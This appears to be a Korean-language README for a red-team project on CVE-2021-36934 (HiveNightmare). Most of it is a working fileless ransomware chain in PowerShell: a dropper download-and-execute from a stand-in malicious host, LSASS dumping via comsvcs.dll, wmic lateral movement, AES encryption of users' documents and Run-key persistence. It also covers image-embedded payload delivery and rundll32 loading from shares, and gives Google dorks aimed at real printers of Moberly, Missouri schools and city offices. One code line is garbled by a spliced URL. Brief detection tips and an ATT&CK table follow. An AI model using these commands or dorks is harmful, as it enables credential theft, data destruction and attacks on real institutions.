
섀도 복사본의 잘못된 ACL을 악용하는 CVE-2021-36934 익스플로잇을 사용하는 PoC 멀웨어로, Windows 10/11에서 LOLBins를 활용한 파일리스 레드팀 방법으로 로컬 NTLM 해시를 얻기 위해 SYSTEM 및 SAM 하이브를 추출합니다.

CVE-2021-36934/HiveNightmare는 Windows 11에서 파일리스 멀웨어 공격 프레임워크를 시뮬레이션하는 교육용 레드/퍼플 팀 연구 프로젝트입니다. MITRE ATT&CK 기법을 사용하여 실제 적대적 킬체인을 에뮬레이션할 수 있으며, 은밀한 파일리스 운영에 중점을 둡니다.
경고: 격리된 연구소에서의 연구 및 교육 전용입니다. 프로덕션 또는 승인되지 않은 시스템에는 사용하지 마십시오.
다음 PowerShell 시뮬레이션은 Windows 기본 제공 도구(LOLBins)를 사용하는 일반적인 파일리스 랜섬웨어 공격 체인을 보여줍니다:
# Initial Access: Load dropper
IEX(New-Object Net.WebClient).DownloadString("http://malicious.com/dropper.ps1")
# Execution: Decode and load in-memory payload
$bytes = [System.Convert]::FromBase64String("[Base64Payload]")
[System.Reflection.Assembly]:https://raw.githubusercontent.com/p1rat3r00t/why-so-serious-sam/HEAD/:Load($bytes)
# Privilege Escalation
Start-Process powershell -Args "-ExecutionPolicy Bypass -File C:\Temp\elevate.ps1" -Verb RunAs
# Credential Access
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full
# Lateral Movement
wmic /node:targetPC process call create "powershell.exe -File \\share\payload.ps1"
# File Encryption Example
$files = Get-ChildItem -Path "C:\Users\*\Documents" -Include *.docx,*.pdf -Recurse
foreach ($file in $files) {
$data = Get-Content $file.FullName -Raw
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.Key = [Text.Encoding]::UTF8.GetBytes("RANDOM-GEN-KEY-1234567890123456")
$aes.IV = New-Object byte[] 16
$enc = $aes.CreateEncryptor().TransformFinalBlock([Text.Encoding]::UTF8.GetBytes($data), 0, $data.Length)
Set-Content -Path $file.FullName -Value ([Convert]::ToBase64String($enc))
}
# Persistence
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "ransomware" -Value "powershell -File C:\Temp\persist.ps1"
예제 목표: PrintNightmare와 같은 익스플로잇에 취약할 수 있는 미주리주 모벌리의 공개적으로 노출된 프린터 서비스를 식별합니다.
샘플 Google Dork 쿼리:
inurl:"/hp/device/this.LCDispatcher" "Moberly"
intitle:"Printer Status" "Moberly Public Schools"
intitle:"Web Image Monitor" inurl:"/wim" "Moberly"
inurl:"/printer/main.html" "City of Moberly"
intitle:"Web Jetadmin" "Moberly"
inurl:"/printers/" "Moberly"
inurl:"/PPS/public/" "Moberly"
intitle:"Konica Minolta" inurl:"/wcd/" "Moberly"
intitle:"PaperCut MF" "Moberly"
intitle:"Lexmark" inurl:"/printer/" "Moberly"
intitle:"Canon Remote UI" "Moberly"
intitle:"EpsonNet Config" "Moberly"
**LOLBins(Living Off the Land Binaries)**은 보안 통제를 우회하고 악성 코드를 파일리스로 실행하기 위해 공격자들이 흔히 악용하는 합법적이고 신뢰받는 Windows 바이너리입니다.
사용 예시 (프린트 서비스 공격):
rundll32.exe \\10.10.X.X\shared\payload.dll,ReflectEntry
공격자는 정찰을 통해 노출된 프린터나 서버를 식별한 후
rundll32.exe,regsvr32.exe,powershell.exe와 같은 LOLBins을 사용하여 네트워크 공유에서 페이로드를 실행하는 경우가 많습니다.
목표: 이미지 안에 아카이브를 임베딩하고 기본 도구를 사용하여 추출함으로써 페이로드를 은밀하게 전달합니다.
단계:
페이로드 임베딩:
copy /b nsfw.jpg + payload.7z nsfw.jpg
추출 및 디코딩:
certutil -decode nsfw.jpg dropper.7z
7z x dropper.7z -oC:\Users\Public\
이 방법은 기존의 파일 확장자 필터링을 우회하고 기본 제공 도구를 활용하여 회피형 전달을 수행합니다.
기법: 리플렉티브 로딩을 사용하여 악성 DLL을 메모리에서 직접 로드 및 실행합니다.
예시:
rundll32.exe \\10.10.X.X\share\nsfw.dll,ReflectEntry
이는 디스크에 아티팩트를 남기지 않는 은밀한 인메모리 실행을 가능하게 합니다.
Sysmon + Sigma 규칙:
rundll32.exe가 시스템 DLL이 아닌 DLL을 로드하는지 모니터링certutil.exe, regsvr32.exe, mshta.exe의 비정상적인 사용 감시SIEM 예시 (ELK/Splunk):
explorer.exe가 rundll32.exe 생성)Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
이 저장소의 모든 콘텐츠, 코드 및 기법은 교육 및 승인된 침투 테스트 전용입니다. 통제된 격리 환경 밖에서 또는 명시적 허가 없이 이 프로젝트의 어떤 부분도 사용하지 마십시오. 작성자는 오용에 대한 책임을 지지 않습니다.
안전하게 연구하고 책임감 있게 조사하며, 항상 합법적이고 윤리적인 방식으로 사용하십시오.
| 단계 | 기법 | ID | 설명 |
|---|
| 초기 액세스 | 유효 계정 / 드라이브 바이 컴프로마이즈 | T1078, T1189 | 공개된 프린트 인터페이스 침해 |
| 실행 | DLL 사이드로딩 / LOLBins | T1218, T1055.001 | 신뢰되는 바이너리를 통한 DLL 리플렉티브 실행 |
| 권한 상승 | Print Spooler 익스플로잇 / Hive ACL 남용 | T1068, T1003.002 | SYSTEM 수준 액세스 및 SAM 해시 추출 |
| 방어 회피 | 파일리스 실행 / 난독화된 파일 | T1027, T1202 | certutil, mshta 등을 통해 전달되는 인코딩된 페이로드 |
| 자격 증명 액세스 | LSASS 덤핑 / SAM 하이브 액세스 | T1003 | HiveNightmare 이후 자격 증명 덤핑 |
| 측면 이동 | SMB/네트워크 공유 열거 | T1021.002 | 프린터 공유 또는 스풀러 열거를 통한 확산 |
| 영향 | 데이터 파괴 / 암호화 | T1485, T1486 | DLL 페이로드를 통해 트리거되는 파일리스 와이퍼웨어 |